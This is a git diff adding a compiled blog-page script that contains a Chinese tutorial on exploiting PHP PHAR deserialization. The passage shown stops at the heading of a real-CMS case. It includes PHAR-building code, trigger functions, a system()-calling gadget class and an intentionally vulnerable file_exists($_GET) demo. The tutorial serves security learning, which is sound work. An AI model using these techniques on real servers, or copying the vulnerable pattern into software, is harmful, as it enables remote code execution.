/dev/null +++ b/en/assets/js/2308dad9.0adc6b88.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3926],{28453:(n,e,i)=>{i.d(e,{R:()=>c,x:()=>l});var s=i(96540);const t={},r=s.createContext(t);function c(n){const e=s.useContext(r);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:c(n.components),s.createElement(r.Provider,{value:e},n.children)}},73511:(n,e,i)=>{i.r(e),i.d(e,{assets:()=>a,contentTitle:()=>l,default:()=>p,frontMatter:()=>c,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","title":"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/03.\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/03.\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"PHP\u4ee3\u7801\u5ba1\u8ba1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1"},"next":{"title":"GO-CMS\u4ee3\u7801\u5ba1\u8ba1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1"}}');var t=i(74848),r=i(28453);const c={},l="\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528",a={},h=[{value:"1. \u524d\u8a00",id:"1-\u524d\u8a00",level:2},{value:"2. phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",id:"2-phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",level:2},{value:"2.1 phar\u63cf\u8ff0",id:"21-phar\u63cf\u8ff0",level:3},{value:"2.2 phar\u6587\u4ef6\u7684\u7ed3\u6784",id:"22-phar\u6587\u4ef6\u7684\u7ed3\u6784",level:3},{value:"2.3 \u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6",id:"23-\u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6",level:3},{value:"2.4 \u6f0f\u6d1e\u5229\u7528\u6761\u4ef6",id:"24-\u6f0f\u6d1e\u5229\u7528\u6761\u4ef6",level:3},{value:"2.5 \u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570",id:"25-\u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570",level:3},{value:"3. \u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b",id:"3-\u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b",level:2},{value:"3.1 \u7b80\u5355\u6848\u4f8b",id:"31-\u7b80\u5355\u6848\u4f8b",level:3},{value:"3.2 \u9a91\u67d0 CMS v3.44.0",id:"32-\u9a91\u67d0-cms-v3440",level:3},{value:"3.2.1 \u5229\u7528\u601d\u8def",id:"321-\u5229\u7528\u601d\u8def",level:4},{value:"3.2.2 \u6587\u4ef6\u4e0a\u4f20",id:"322-\u6587\u4ef6\u4e0a\u4f20",level:4},{value:"3.2.3 \u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe",id:"323-\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe",level:4},{value:"3.2.4 \u89e6\u53d1\u53cd\u5e8f\u5217\u5316",id:"324-\u89e6\u53d1\u53cd\u5e8f\u5217\u5316",level:4},{value:"3.2.5 \u5229\u7528\u8fc7\u7a0b",id:"325-\u5229\u7528\u8fc7\u7a0b",level:4},{value:"3.3 \u67d0\u67d0CMS\uff08\u63d0\u4ea4\u5b98\u65b9\u4e86\uff0c\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03\uff09",id:"33-\u67d0\u67d0cms\u63d0\u4ea4\u5b98\u65b9\u4e86\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03",level:3},{value:"4. \u514d\u8d23\u58f0\u660e",id:"4-\u514d\u8d23\u58f0\u660e",level:2},{value:"5. \u53c2\u8003",id:"5-\u53c2\u8003",level:2}];function d(n){const e={a:"a",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-03-03 16:42:30"})]})})]}),"\n",(0,t.jsx)(e.header,{children:(0,t.jsx)(e.h1,{id:"\u8bb0\u5f55\u4e00\u6b21\u5bf9phar\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528",children:"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.del,{children:"\u524d\u534a\u90e8\u5206\u662f\u6284\u7684\uff0c\u4e0d\u60f3\u603b\u7ed3\u4e86\u3002\u4e3b\u8981\u770b\u6f0f\u6d1e\u5229\u7528\u5b9e\u4f8b"})}),"\n",(0,t.jsx)(e.h2,{id:"1-\u524d\u8a00",children:"1. \u524d\u8a00"}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u7740 Web \u5b89\u5168\u4e0d\u65ad\u53d1\u5c55\uff0c\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5df2\u6210\u4e3a\u4e00\u79cd\u88ab\u5e7f\u6cdb\u5229\u7528\u7684\u653b\u51fb\u624b\u6bb5\uff0c\u7279\u522b\u662f\u5728 PHP \u751f\u6001\u4e2d\u3002",(0,t.jsx)(e.strong,{children:"PHAR\uff08PHP Archive\uff09\u6587\u4ef6"}),"\u4f5c\u4e3a\u4e00\u79cd\u7528\u4e8e\u6253\u5305 PHP \u5e94\u7528\u7a0b\u5e8f\u7684\u683c\u5f0f\uff0c\u5176\u7b80\u4fbf\u7684\u5c01\u88c5\u65b9\u5f0f\u548c\u6267\u884c\u80fd\u529b\u8ba9\u5b83\u6210\u4e3a\u4e86\u653b\u51fb\u8005\u9752\u7750\u7684\u76ee\u6807\u30022015 \u5e74\uff0cStefan Esser \u5728 ",(0,t.jsx)(e.strong,{children:"Black Hat USA 2015"})," \u6f14\u8bb2\u4e2d\u9996\u6b21\u63ed\u793a\u4e86 PHP \u4e2d ",(0,t.jsx)(e.strong,{children:"PHAR \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})," \u7684\u4e25\u91cd\u6027\u3002\u8fd9\u4e00\u6f0f\u6d1e\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u7279\u5236\u7684\u6076\u610f PHAR \u6587\u4ef6\uff0c\u7ed5\u8fc7 PHP \u5185\u7f6e\u7684\u5b89\u5168\u673a\u5236\uff0c\u6267\u884c\u4efb\u610f\u4ee3\u7801\uff0c\u7ed9 Web \u5e94\u7528\u5e26\u6765\u4e86\u6781\u5927\u7684\u98ce\u9669\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u5c3d\u7ba1\u8fd9\u4e00\u6f0f\u6d1e\u5df2\u7ecf\u88ab\u516c\u5f00\u591a\u5e74\uff0c\u4f46\u5b83\u4f9d\u7136\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u53ef\u4ee5\u88ab\u6709\u6548\u5229\u7528\uff0c\u7279\u522b\u662f\u5bf9\u4e8e\u7f3a\u4e4f\u9002\u5f53\u8f93\u5165\u9a8c\u8bc1\u548c\u5b89\u5168\u914d\u7f6e\u7684\u5e94\u7528\u7a0b\u5e8f\u3002\u672c\u6587\u5c06\u6df1\u5165\u63a2\u8ba8 ",(0,t.jsx)(e.strong,{children:"PHAR \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})," \u7684\u539f\u7406\u3001\u53d1\u73b0\u8fc7\u7a0b\u4ee5\u53ca\u5b9e\u9645\u5229\u7528\u65b9\u5f0f\uff0c\u65e8\u5728\u5e2e\u52a9\u5f00\u53d1\u8005\u548c\u5b89\u5168\u7814\u7a76\u4eba\u5458\u7406\u89e3\u8fd9\u4e00\u653b\u51fb\u6a21\u5f0f\u5e76\u91c7\u53d6\u76f8\u5e94\u7684\u9632\u62a4\u63aa\u65bd\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u9664\u4e86",(0,t.jsx)(e.code,{children:"unserialize()"}),"\u6765\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u4e4b\u5916\uff0c\u8fd8\u53ef\u4ee5\u5229\u7528phar\u6587\u4ef6\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\u8fd9\u4e00\u7279\u6027\uff0c\u6269\u5927php\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u653b\u51fb\u9762\u3002\u8be5\u65b9\u6cd5\u5728\u6587\u4ef6\u7cfb\u7edf\u51fd\u6570\uff08",(0,t.jsx)(e.code,{children:"file_exists()"}),"\u3001",(0,t.jsx)(e.code,{children:"is_dir()"}),"\u7b49\uff09\u53c2\u6570\u53ef\u63a7\u7684\u60c5\u51b5\u4e0b\uff0c\u914d\u5408",(0,t.jsx)(e.code,{children:"phar://"}),"\u4f2a\u534f\u8bae\uff0c\u53ef\u4ee5\u4e0d\u4f9d\u8d56",(0,t.jsx)(e.code,{children:"unserialize()"}),"\u76f4\u63a5\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"2-phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",children:"2. phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}),"\n",(0,t.jsx)(e.h3,{id:"21-phar\u63cf\u8ff0",children:"2.1 phar\u63cf\u8ff0"}),"\n",(0,t.jsx)(e.p,{children:"PHAR\uff08PHP Archive\uff09\u662f PHP \u7684\u4e00\u4e2a\u6863\u6848\u683c\u5f0f\uff0c\u5b83\u5141\u8bb8\u5c06\u591a\u4e2a PHP \u6587\u4ef6\u3001\u8d44\u6e90\u548c\u5e93\u6253\u5305\u6210\u4e00\u4e2a\u6587\u4ef6\uff0c\u7c7b\u4f3c\u4e8e Java \u7684 JAR \u6587\u4ef6\u6216 Python \u7684 ZIP \u6587\u4ef6\u3002\u901a\u8fc7\u4f7f\u7528 PHAR\uff0c\u5f00\u53d1\u8005\u53ef\u4ee5\u65b9\u4fbf\u5730\u5c06 PHP \u7a0b\u5e8f\u548c\u76f8\u5173\u7684\u8d44\u6e90\u6253\u5305\u6210\u4e00\u4e2a\u6587\u4ef6\uff0c\u65b9\u4fbf\u5206\u53d1\u548c\u90e8\u7f72\u3002"}),"\n",(0,t.jsxs)(e.p,{children:["PHAR \u6587\u4ef6\u662f\u538b\u7f29\u7684\uff0c\u53ef\u4ee5\u5305\u542b PHP \u6587\u4ef6\u3001\u56fe\u7247\u3001\u914d\u7f6e\u6587\u4ef6\u7b49\uff0c\u89e3\u538b\u540e\u76f4\u63a5\u53ef\u4ee5\u8fd0\u884c\u3002PHP \u7684\u5185\u7f6e\u6269\u5c55\u652f\u6301\u52a0\u8f7d\u548c\u6267\u884c PHAR \u6587\u4ef6\u5185\u5bb9\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0cPHAR \u6587\u4ef6\u53ef\u4ee5\u901a\u8fc7 ",(0,t.jsx)(e.code,{children:"phar://"})," \u534f\u8bae\u76f4\u63a5\u8bbf\u95ee\u3002"]}),"\n",(0,t.jsx)(e.p,{children:"PHAR \u6587\u4ef6\u7684\u5e38\u89c1\u7528\u9014\u5305\u62ec\uff1a"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"\u5c06 PHP \u7a0b\u5e8f\u6216\u5e93\u6253\u5305\u4e3a\u4e00\u4e2a\u72ec\u7acb\u7684\u6587\u4ef6\uff0c\u65b9\u4fbf\u5206\u53d1\u3002"}),"\n",(0,t.jsx)(e.li,{children:"\u4f5c\u4e3a\u5e94\u7528\u7a0b\u5e8f\u7684\u4e00\u4e2a\u6a21\u5757\u6216\u63d2\u4ef6\u3002"}),"\n",(0,t.jsx)(e.li,{children:"\u4fbf\u4e8e\u538b\u7f29\u548c\u4f18\u5316\u4ee3\u7801\uff0c\u51cf\u5c11\u6587\u4ef6\u6570\u91cf\u3002"}),"\n"]}),"\n",(0,t.jsx)(e.h3,{id:"22-phar\u6587\u4ef6\u7684\u7ed3\u6784",children:"2.2 phar\u6587\u4ef6\u7684\u7ed3\u6784"}),"\n",(0,t.jsx)(e.p,{children:"phar\u6587\u4ef6\u90fd\u5305\u542b\u4ee5\u4e0b\u51e0\u4e2a\u90e8\u5206\uff1a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"1. stub\n phar\u6587\u4ef6\u7684\u6807\u5fd7\uff0c\u5fc5\u987b\u4ee5 xxx __HALT_COMPILER();?> \u7ed3\u5c3e\uff0c\u5426\u5219\u65e0\u6cd5\u8bc6\u522b\u3002xxx\u53ef\u4ee5\u4e3a\u81ea\u5b9a\u4e49\u5185\u5bb9\u3002\n2. manifest\n phar\u6587\u4ef6\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u538b\u7f29\u6587\u4ef6\uff0c\u5176\u4e2d\u6bcf\u4e2a\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u6743\u9650\u3001\u5c5e\u6027\u7b49\u4fe1\u606f\u90fd\u653e\u5728\u8fd9\u90e8\u5206\u3002\u8fd9\u90e8\u5206\u8fd8\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\uff0c\u8fd9\u662f\u6f0f\u6d1e\u5229\u7528\u6700\u6838\u5fc3\u7684\u5730\u65b9\u3002\n3. content\n \u88ab\u538b\u7f29\u6587\u4ef6\u7684\u5185\u5bb9\n4. signature (\u53ef\u7a7a)\n \u7b7e\u540d\uff0c\u653e\u5728\u672b\u5c3e\u3002\n"})}),"\n",(0,t.jsx)(e.h3,{id:"23-\u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6",children:"2.3 \u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6"}),"\n",(0,t.jsx)(e.p,{children:"php\u5185\u7f6e\u4e86\u4e00\u4e2aphar\u7c7b\u6765\u5904\u7406\u76f8\u5173\u64cd\u4f5c\u3002"}),"\n",(0,t.jsxs)(e.p,{children:["\u6ce8\u610f\uff1a\u8fd9\u91cc\u8981\u5c06php.ini\u91cc\u9762\u7684",(0,t.jsx)(e.code,{children:"phar.readonly"}),"\u9009\u9879\u8bbe\u7f6e\u4e3a",(0,t.jsx)(e.code,{children:"Off"}),"\u3002",(0,t.jsx)(e.code,{children:"\u5e76\u628a\u5206\u53f7\u53bb\u6389\u3002"})]}),"\n",(0,t.jsx)(e.p,{children:"(\u5982\u679c\u4f60\u5728\u547d\u4ee4\u884c\u8fd0\u884cPHP\u6587\u4ef6\u8fd8\u662f\u65e0\u6cd5\u751f\u6210\u6210\u529f\uff0c\u8bf7\u4f7f\u7528php -v\u67e5\u770bphp\u7248\u672c\u5e76\u5728\u4fee\u6539\u6307\u5b9a\u7248\u672c\u7684php.ini\u3002)"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:'<?php\n class TestObject {\n }\n\n @unlink("phar.phar");\n $phar = new Phar("phar.phar"); //\u540e\u7f00\u540d\u5fc5\u987b\u4e3aphar\n $phar->startBuffering();\n $phar->setStub("<?php __HALT_COMPILER(); ?>"); //\u8bbe\u7f6estub\n $o = new TestObject();\n $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n $phar->stopBuffering();\n?>\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u6267\u884c\u8fd9\u4e2aphp\u6587\u4ef6\uff0c\u4f1a\u751f\u6210\u4e00\u4e2aphar.phar\u6587\u4ef6\u3002\u6253\u5f00\u67e5\u770b\u53ef\u4ee5\u770b\u5230Meta-data\u7684\u5185\u5bb9\u662f\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u50a8\u5b58\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639073.jpg",alt:"shengchengpharphp.jpg"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639074.jpg",alt:"xuliehua.jpg"})}),"\n",(0,t.jsx)(e.p,{children:"php\u5728\u89e3\u6790\u8fd9\u4e2aphar\u7684\u65f6\u5019\uff0c\u8fd8\u4f1a\u5bf9meta-data\u6570\u636e\u8fdb\u884c\u4e00\u6b21\u53cd\u5e8f\u5217\u5316\u3002PHP\u5e95\u5c42\u4ee3\u7801\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639075.png",alt:"phpdiceng.png"})}),"\n",(0,t.jsx)(e.p,{children:"\u901a\u8fc7\u53cd\u5e8f\u5217\u5316\uff0c\u6211\u4eec\u5c31\u80fd\u591f\u63a7\u5236\u4e00\u4e9b\u7c7b\u7684\u53d8\u91cf\u8fdb\u884c\u5229\u7528\u3002"}),"\n",(0,t.jsx)(e.h3,{id:"24-\u6f0f\u6d1e\u5229\u7528\u6761\u4ef6",children:"2.4 \u6f0f\u6d1e\u5229\u7528\u6761\u4ef6"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"phar\u6587\u4ef6\u8981\u80fd\u591f\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7aef\u3002"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsx)(e.p,{children:"\u8981\u6709\u53ef\u7528\u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5229\u7528\u94fe\u3002"}),"\n"]}),"\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsxs)(e.p,{children:["\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570\u7684\u53c2\u6570\u53ef\u63a7\uff0c\u4e14",(0,t.jsx)(e.code,{children:":"}),"\u3001",(0,t.jsx)(e.code,{children:"/"}),"\u3001",(0,t.jsx)(e.code,{children:"phar"}),"\u7b49\u7279\u6b8a\u5b57\u7b26\u6ca1\u6709\u88ab\u8fc7\u6ee4\u3002"]}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.h3,{id:"25-\u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570",children:"2.5 \u53d7\u5f71\u54cd\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"fileatime"}),"\n",(0,t.jsx)(e.li,{children:"file_ put contents"}),"\n",(0,t.jsx)(e.li,{children:"fileinode"}),"\n",(0,t.jsx)(e.li,{children:"is_dir"}),"\n",(0,t.jsx)(e.li,{children:"is_readable"}),"\n",(0,t.jsx)(e.li,{children:"copy"}),"\n",(0,t.jsx)(e.li,{children:"filectime"}),"\n",(0,t.jsx)(e.li,{children:"file"}),"\n",(0,t.jsx)(e.li,{children:"filemtime"}),"\n",(0,t.jsx)(e.li,{children:"is_executable"}),"\n",(0,t.jsx)(e.li,{children:"is_writable"}),"\n",(0,t.jsx)(e.li,{children:"unlink"}),"\n",(0,t.jsx)(e.li,{children:"file_exists"}),"\n",(0,t.jsx)(e.li,{children:"filegroup"}),"\n",(0,t.jsx)(e.li,{children:"fileowner"}),"\n",(0,t.jsx)(e.li,{children:"is_file"}),"\n",(0,t.jsx)(e.li,{children:"is_writeable"}),"\n",(0,t.jsx)(e.li,{children:"stat"}),"\n",(0,t.jsx)(e.li,{children:"file_get_contents"}),"\n",(0,t.jsx)(e.li,{children:"fopen"}),"\n",(0,t.jsx)(e.li,{children:"fileperms"}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"is_link"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"parse_ini_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"readfile"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"exif_thumbnail"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"exif_thumbnail"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"imageloadfont"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"imagecreatefrom***"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"hash_hmac_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"hash_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"hash_update_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"md5_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"sha1_file"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"get_meta_tags"})}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:"get_headers"}),"\uff08\u8fd9\u4e2a\u4e0d\u592a\u786e\u5b9a\u6ca1\u8bd5\u51fa\u6765\uff09"]}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"getimagesize"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:"getimagesizefromstring"})}),"\n",(0,t.jsx)(e.li,{children:"postgres"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:'<?php\n$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));\n@$pdo->pgsqlCopyFromFile(\'aa\', \'phar://test.phar/aa\');\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u5f53\u7136\uff0c",(0,t.jsx)(e.code,{children:"pgsqlCopyToFile"}),"\u548c",(0,t.jsx)(e.code,{children:"pg_trace"}),"\u540c\u6837\u4e5f\u662f\u80fd\u4f7f\u7528\u7684\uff0c\u53ea\u662f\u5b83\u4eec\u9700\u8981\u5f00\u542fphar\u7684\u5199\u529f\u80fd\u3002"]}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:"mysql"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nclass A {\n public $s = '';\n public function __wakeup () {\n system($this->s);\n }\n}\n$m = mysqli_init();\nmysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);\n$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);\n$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \\'phar://test.phar/test\\' INTO TABLE a LINES TERMINATED BY \\'\\r\\n\\' IGNORE 1 LINES;');\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u518d\u914d\u7f6e\u4e00\u4e0bmysqld\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-ini",children:'[mysqld]\nlocal-infile=1\nsecure_file_priv=""\n'})}),"\n",(0,t.jsx)(e.h2,{id:"3-\u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b",children:"3. \u6f0f\u6d1e\u7684\u5229\u7528\u5b9e\u4f8b"}),"\n",(0,t.jsx)(e.h3,{id:"31-\u7b80\u5355\u6848\u4f8b",children:"3.1 \u7b80\u5355\u6848\u4f8b"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:'// phar.php\n<?php\n class TestObject {\n }\n $phar = new Phar("phar.phar"); //\u540e\u7f00\u540d\u5fc5\u987b\u4e3aphar\n $phar->startBuffering();\n $phar->setStub("<?php __HALT_COMPILER(); ?>"); //\u8bbe\u7f6estub\n $o = new TestObject();\n $o -> name=\'Threezh1\'; //\u63a7\u5236TestObject\u4e2d\u7684name\u53d8\u91cf\u4e3aThreezh1\n $phar->setMetadata($o); //\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest\n $phar->addFromString("test.txt", "test"); //\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6\n //\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97\n $phar->stopBuffering();\n?>\n'})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:'index.php\n<?php\nclass TestObject {\n\tpublic $name;\n\n\tfunction __destruct()\n\t{\n\t\techo $this -> name;\n\t}\n}\nif ($_GET["file"]){\n\tfile_exists($_GET["file"]);\n}\n?>\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u4f7f\u7528",(0,t.jsx)(e.code,{children:"php phar.php"}),"\u751f\u6210",(0,t.jsx)(e.code,{children:"phar.phar"}),"\u6587\u4ef6\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u8bbf\u95ee\uff1a",(0,t.jsx)(e.a,{href:"http://127.0.0.1/index.php?file=phar://phar.phar",children:"http://127.0.0.1/index.php?file=phar://phar.phar"})]}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd4\u56de\uff1a",(0,t.jsx)(e.code,{children:"Threezh1"}),"\u3002 \u53cd\u5e8f\u5217\u5316\u5229\u7528\u6210\u529f\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639076.jpg",alt:"example01.jpg"})}),"\n",(0,t.jsx)(e.h3,{id:"32-\u9a91\u67d0-cms-v3440",children:"3.2 \u9a91\u67d0 CMS v3.44.0"}),"\n",(0,t.jsx)(e.h4,{id:"321-\u5229\u7528\u601d\u8def",children:"3.2.1 